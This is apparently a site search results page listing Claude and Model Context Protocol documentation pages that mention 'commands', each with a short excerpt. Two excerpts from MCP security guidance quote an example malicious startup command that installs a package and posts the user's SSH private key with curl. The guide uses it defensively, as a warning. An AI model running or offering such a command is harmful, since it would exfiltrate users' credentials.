394 pages for commands.
Titles and paths first, then pages whose text carries it. Each row opens that page as this site last read it.
Connectors, skills, and plugins
Claude Documentation · in the page
extend/overview
…way you or your team does it. Plugins package skills, MCP connectors, commands, and agents into one unit that you can install once and share with others. You add all three from the [**Customize**](ht…
Claude for Government changelog
Claude Documentation · in the page
government/changelog
…as Ubuntu 24.04 over SSH, on Claude Desktop 4.16336.0 or later. Shell commands that failed now run unsandboxed, so **Allowed network hosts** and **Allowed workspace folders** don't limit them. An AppA…
Manage plugins and connectors
Claude Documentation · in the page
government/config/plugins-and-connectors
…is a package that changes how Claude works. It can add skills, slash commands, and sub-agents, and it can carry hooks, which are scripts a plugin author includes to run automatically at defined point…
Available settings
Claude Documentation · in the page
government/config/settings
…a sandbox for data analysis in Chat. Only takes effect where **Shell commands** and **Chat in Claude Desktop** are both on. Without this setting, Claude cannot read Word, Excel, or PowerPoint files t…
Connectors
Claude Documentation · in the page
government/connectors/overview
…s Microsoft 365 or a system of your own. A plugin packages skills and commands for Claude Desktop. > > Microsoft 365 setup starts in Microsoft Entra. An Entra administrator registers an application, a…
Connect Claude Code to Claude for Government
Claude Documentation · in the page
government/deploy-claude-code/configure
…ut** command before they sign in through the gateway, not after: both commands clear every credential Claude Code has stored, the gateway sign-in included. * To take a device out of this setup, have i…
Connect Claude Desktop to Claude for Government
Claude Documentation · in the page
government/deploy-desktop/configure
…ed for Code have the software your users' work needs.** Code runs its commands with the software installed on the device. Cowork and Advanced file analysis in Chat run theirs in the app's own virtual…
Windows fleet checklist
Claude Documentation · in the page
government/deploy-desktop/windows-checklist
…-security-software). ## Cowork virtualization Cowork runs the shell commands that Claude issues inside a dedicated virtual machine that the app manages on each device, and Advanced file analysis in…
Plugins in Claude Desktop
Claude Documentation · in the page
government/desktop/plugins
…t adds capabilities to Claude in a single step, such as skills, slash commands, sub-agents, and hooks. Plugins work in Cowork and in Code. See the [Plugins overview](https://claude.com/docs/plugins/ov…
Video walkthroughs for Claude Desktop
Claude Documentation · in the page
government/desktop/video-walkthroughs
…allow it for this task, or deny it. > > A plugin packages skills and commands from your organization. Plugins lists the ones already installed. Some install automatically. Open one to see its skills…
Security and data handling
Claude Documentation · in the page
government/security/security-and-data-handling
…ile-analysis steps in Chat, the Claude Desktop application runs shell commands and model-written code inside a dedicated local virtual machine. In Claude for Government, this sandbox is always the exe…
Video walkthroughs for administrators
Claude Documentation · in the page
government/video-walkthroughs
…s Microsoft 365 or a system of your own. A plugin packages skills and commands for Claude Desktop. > > Microsoft 365 setup starts in Microsoft Entra. An Entra administrator registers an application, a…
Performance and limits
Claude Documentation · in the page
office-agents/performance
…up id="cite-ref-8-a">[\[8\]](#cite-note-8)</sup> Every pane sends its commands to that process. Office queues the command batches it receives, up to 50 at a time.<sup id="cite-ref-4-b">[\[4\]](#cite-n…
Use Claude for M365 with third-party platforms
Claude Documentation · in the page
office-agents/third-party-platforms
…d checks for it and prompts installation if > missing. ### Available commands The plugin exposes the following slash commands once installed. | Command | Function | | - | - | | `/claude-for-msft-36…
Plugin structure and testing
Claude Documentation · in the page
plugins/build
…each app. A plugin is a folder that packages skills, MCP connectors, commands, and agents, in any combination, so that people add them together. This page is the reference for that folder: what each…
Create a plugin with Claude
Claude Documentation · in the page
plugins/create-with-claude
…plugin](https://claude.com/docs/plugins/overview.md) packages skills, commands, and connectors. You can make one for yourself in claude.ai or the Claude desktop app without writing files: from [**Cust…
Plugins
Claude Documentation · in the page
plugins/overview
…nectors](https://claude.com/docs/connectors/getting-started.md), and [commands and agents](#compare-what-each-plugin-component-adds) so you can add them to Claude as one unit. You add plugins from [**…
Plugin feature support across platforms
Claude Documentation · in the page
plugins/platform-support
…[Create custom skills](https://claude.com/docs/skills/how-to.md) | | Commands (`commands/*.md`) | Loads as a skill; Claude applies it when it fits | Loads; you run it by typing `/plugin-name:command`…
Plugin pre-submission checklist
Claude Documentation · in the page
plugins/pre-submission-checklist
…se Markdown image syntax. Don't refer to bundled images or fonts from commands, hooks, or scripts, or write their paths in backticks or a code block. | Held for a reviewer | | | Declare each MCP serve…
Build your first plugin
Claude Documentation · in the page
plugins/quickstart
…blish.md). A plugin is a folder that packages skills, MCP connectors, commands, and agents, in any combination, so that people add them together. This quickstart is for developers who have Claude Cod…
Skills overview
Claude Documentation · in the page
skills/overview
…d)** | Packages that contain several skills together with connectors, commands, and agents, so that you add them as one unit | | **[Projects](https://support.claude.com/en/articles/9517075-what-are-pr…
Deploy with a bootstrap server
Claude Documentation · in the page
third-party/claude-desktop/bootstrap
…ion 1.19367.0 and later: remote (`http`/`sse`) servers, local `stdio` commands, and the built-in `microsoft365` and `websearch` connectors can all be delivered in the bootstrap response. Earlier versi…
Chat in Claude Desktop on 3P
Claude Documentation · in the page
third-party/claude-desktop/chat
…#plugin-marketplaces-admin) are available in Chat, including as slash commands. Hooks from those plugins also run in Chat conversations as they do in Cowork sessions, as described under [Plugin hooks]…
Code in Claude Desktop on 3P
Claude Documentation · in the page
third-party/claude-desktop/code
…d(…)` rule applies to Claude's file tools, and [only in part to shell commands](#file-path-rules-and-shell-commands). Tools your provider does not support, such as WebSearch on Amazon Bedrock, are rem…
Configuration reference
Claude Documentation · in the page
third-party/claude-desktop/configuration
…folders added to the chat's project through the app (read-only). > > Commands reach the hosts in `coworkEgressAllowedHosts`, and none if that list is unset or empty. Plugin CLIs can always reach the…
Configuration changelog
Claude Documentation · in the page
third-party/claude-desktop/configuration-changelog
…coworkEgressAllowedHosts`: unset no longer keeps the Code tab's shell commands off the network on a device whose only configuration is a local file, even one copied by a script, unless `blockReadsOuts…
User identity and local data
Claude Documentation · in the page
third-party/claude-desktop/data-storage
….md#advanced-file-analysis) is enabled, code runs in a local sandbox. Commands in it can reach the hosts in `coworkEgressAllowedHosts`, as described under [Sandbox network access](https://claude.com/d…
MCP, plugins, skills, and hooks
Claude Documentation · in the page
third-party/claude-desktop/extensions
…de.com/docs/plugins/overview.md) bundle MCP connectors, skills, slash commands, hooks, and sub-agents into a single directory. On this path, admins distribute plugins by placing them in a system-wide…
Import history from claude.ai
Claude Documentation · in the page
third-party/claude-desktop/import
…ocal MCP servers, a second dialog lists up to five of them with their commands. If you click **Add**, Claude Desktop tries to start all the listed servers right away, so click it only if you recognize…
Installation and setup
Claude Documentation · in the page
third-party/claude-desktop/installation
…hine from starting. On that device, Cowork tasks start, but the shell commands that Claude runs in them fail. [Advanced file analysis](https://claude.com/docs/third-party/claude-desktop/chat.md#advanc…
Desktop and filesystem access
Claude Documentation · in the page
third-party/claude-desktop/local-access
…te sessions, read-only applies to Claude's file tools only, and shell commands don't enforce it. For SSH remote sessions, see [Read-only folders on the remote host](https://claude.com/docs/third-party…
Network proxy
Claude Documentation · in the page
third-party/claude-desktop/network-proxy
…talls. * **Cowork's sandboxed shell**: the isolated environment where commands the agent runs in a Cowork session (`curl`, `pip`, `npm`, and so on) execute. With [Unified Claude](https://claude.com/d…
Overview
Claude Documentation · in the page
third-party/claude-desktop/overview
…ndling-by-provider). * **Sandboxed tool execution.** In Cowork, shell commands run in the hardened Cowork VM; file access is scoped to your allowed folders and web fetches to your egress allowlist. Fo…
SSH remote sessions in Claude Desktop on 3P
Claude Documentation · in the page
third-party/claude-desktop/ssh-remote-sessions
…the SSH user. Installing and starting them takes no `sudo`. The shell commands and [MCP servers](#where-mcp-servers-run-in-a-remote-session) that the engine starts there also start as the SSH user. Re…
Show a status line
Claude Documentation · in the page
third-party/claude-desktop/status-line
…ne-programs) on a test device, save it as `status-line` and run these commands in your terminal: ```bash theme={null} sudo mkdir -p /opt/example/bin sudo cp status-line /opt/example/bin/status-line e…
Unified Claude in Claude Desktop on 3P
Claude Documentation · in the page
third-party/claude-desktop/unified-claude
…cheduledtasksenabled). For example, to stop Claude from running shell commands, add `"Bash"` to `disabledBuiltinTools`. That entry applies in Code sessions too, as described under [Sandbox network acc…
Web search and web fetch
Claude Documentation · in the page
third-party/claude-desktop/web-tools
…the tool, see [Disabling web tools](#disabling-web-tools). * **Shell commands**: commands that run in [Claude Code's sandbox](https://claude.com/docs/third-party/claude-desktop/code.md#applied-as-man…
Contributing to MCP
Model Context Protocol · in the page
community/contributing
…higher git --version # Any recent version ``` > [!NOTE] > > These commands work the same on macOS, Linux, and Windows, so you're good to > go on any platform. ### Repository Structure MCP spans…
Contributor Ladder
Model Context Protocol · in the page
community/contributor-ladder
…n be assigned to issues and PRs * Can use shortcut approval or review commands on PRs, such as `/lgtm` * Listed in the community membership roster * Can create PRs in restricted repositories * Eligibl…
Build an MCP client
Model Context Protocol · in the page
docs/2024-11-05/develop/build-client
…rs without terminating the interactive session > * Validate server commands before running them > 2. **Resource Management** > * Always cancel the MCP session during cleanup > * Ensure cleanu…
Build an MCP server
Model Context Protocol · in the page
docs/2024-11-05/develop/build-server
…> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by…
Understanding MCP servers
Model Context Protocol · in the page
docs/2024-11-05/learn/server-concepts
…ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons…
Security Best Practices
Model Context Protocol · in the page
docs/2024-11-05/tutorials/security/security_best_practices
…running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa…
Build an MCP client
Model Context Protocol · in the page
docs/2025-03-26/develop/build-client
…rs without terminating the interactive session > * Validate server commands before running them > 2. **Resource Management** > * Always cancel the MCP session during cleanup > * Ensure cleanu…
Build an MCP server
Model Context Protocol · in the page
docs/2025-03-26/develop/build-server
…> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by…
Understanding MCP servers
Model Context Protocol · in the page
docs/2025-03-26/learn/server-concepts
…ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons…
Security Best Practices
Model Context Protocol · in the page
docs/2025-03-26/tutorials/security/security_best_practices
…running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa…
Build an MCP client
Model Context Protocol · in the page
docs/2025-06-18/develop/build-client
…rs without terminating the interactive session > * Validate server commands before running them > 2. **Resource Management** > * Always cancel the MCP session during cleanup > * Ensure cleanu…
Build an MCP server
Model Context Protocol · in the page
docs/2025-06-18/develop/build-server
…> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by…
Understanding MCP servers
Model Context Protocol · in the page
docs/2025-06-18/learn/server-concepts
…ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons…